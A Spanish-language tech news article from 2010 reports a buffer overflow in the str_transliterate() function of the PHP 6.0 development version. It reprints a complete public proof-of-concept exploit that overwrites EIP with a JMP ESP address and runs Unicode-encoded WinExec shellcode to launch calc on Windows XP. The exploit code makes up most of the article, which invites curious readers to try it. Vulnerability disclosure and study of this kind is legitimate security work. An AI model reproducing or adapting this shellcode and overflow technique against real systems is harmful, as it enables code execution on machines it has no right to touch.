Navegación
-
Servicios
-
Noticias
- Google, Facebook y Twitter planean una original protesta
- Adiós Dennis Ritchie
- Muere Steve Jobs
- Cierra Bizarre Creations
- No habrá más Ubuntu Netbook Edition
- Cómo es el Internet Explorer 9 que será lanzado el lunes
- Impulsan una baja del costo de Internet
- Software argentino: ¿"niña bonita" de la economía local?
- Sex.com se vendió en u$s 13 millones
- Google puso fin al misterio de Batman
- Todas las noticias
-
Artículos
-
Descargas
-
Últimos 15 usuarios
-
Usuarios Top 15
-
Sitios recomendados
Se descubre un buffer overflow en la versión de desarrollo de PHP6
Publicado el 08 de mayo de 2010 por André Karell Contreras Jiménez.
La funcion str_transliterate() es la encargada de traducir un texto de un lenguaje a otro (para entendernos), pero nativamente no valida los parámetros de entrada permitiendo así la ejecución de código malicioso utilizando el famoso fallo de buffer overflow.
Por si algún curioso quiere probar el fallo, en DragonJar tenemos una PdC (Prueba de Concepto, Proof of Concept en anglosajón) que ha sido sacada y probada por los chicos de NullByte:
# Title: PHP 6.0 Dev str_transliterate() 0Day Buffer Overflow Exploit # EDB-ID: 12051 # CVE-ID: () # OSVDB-ID: () # Author: Pr0T3cT10n # Published: 2010-04-04 # Verified: yes # Download Exploit Code # Download Vulnerable app
error_reporting(0);
#####################################################################
## PHP 6.0 Dev str_transliterate() 0Day Buffer Overflow Exploit
## Tested on WIN XP HEB SP3, Apache, PHP 6.0 Dev
## Buffer Overflow
## Bug discovered by Pr0T3cT10n,
## Exploited by TheLeader, Debug
## SP. Thanks: HDM
## http://www.nullbyte.org.il
#####################################################################
## This code should exploits a buffer overflow in the str_transliterate() function to call WinExec and execute CALC
## Take a look, 'unicode.semantics' has to be on!
## php.ini > unicode.semantics = on
#####################################################################
if(ini_get_bool('unicode.semantics')) {
$buff = str_repeat("u4141", 256);
$eip = "u1445u10A9"; # 0x10A91445 JMP ESP @ php6ts.dll
$nops = str_repeat("u9090", 20);
# WinExec Calc XP SP3 HEB Unicode-encoded shellcode
$shellcode = "u02EBu05EBuF9E8uFFFFu33FFu5BC0u4388u8315u11C3uBB53u250Du7C86uD3FFu6163u636Cu414E";
# WinExec Calc XP SP3 EN Unicode-encoded shellcode (added by muts)
# $shellcode = "u02EBu05EBuF9E8uFFFFu33FFu5BC0u4388u8315u11C3uBB53u23ADu7C86uD3FFu6163u636Cu414E";
$exploit = $buff.$eip.$nops.$shellcode;
str_transliterate(0, $exploit, 0);
} else {
exit("Error! 'unicode.semantics' has be on!rn");
}
function ini_get_bool($a) {
$b = ini_get($a);
switch (strtolower($b)) {
case 'on':
case 'yes':
case 'true':
return 'assert.active' !== $a;
case 'stdout':
case 'stderr':
return 'display_errors' === $a;
default:
return (bool) (int) $b;
}
}
?>Poca explicación necesita para los que dominen algo el lenguaje, si necesitáis alguna explicación, preguntad sin vergüenza. Aunque la prueba funciona sólo para Windows XP, ya me parece bastante grave. De todas formas, y para no alarma, repito que es una versión en desarrollo y ahora que ha salido a la luz el error, seguro que lo arreglarán.
Noticias relacionadas
27 de abril de 2010 - Microsoft habla de la falta de soporte para Windows XP en la Wave 4
24 de noviembre de 2009 - Firefox consume demasiados recursos y Mozilla lo sabe
17 de junio de 2009 - Volver a XP desde Windows 7, sólo durante tiempo limitado
Comentarios
No hay comentarios para listar, si desea puede crear el primer comentario a esta portada.
Publique un comentario
Para publicar comentarios debe estar identificado.
Si aún no dispone de una cuenta de usuario puede crearla usted mismo de forma gratuita.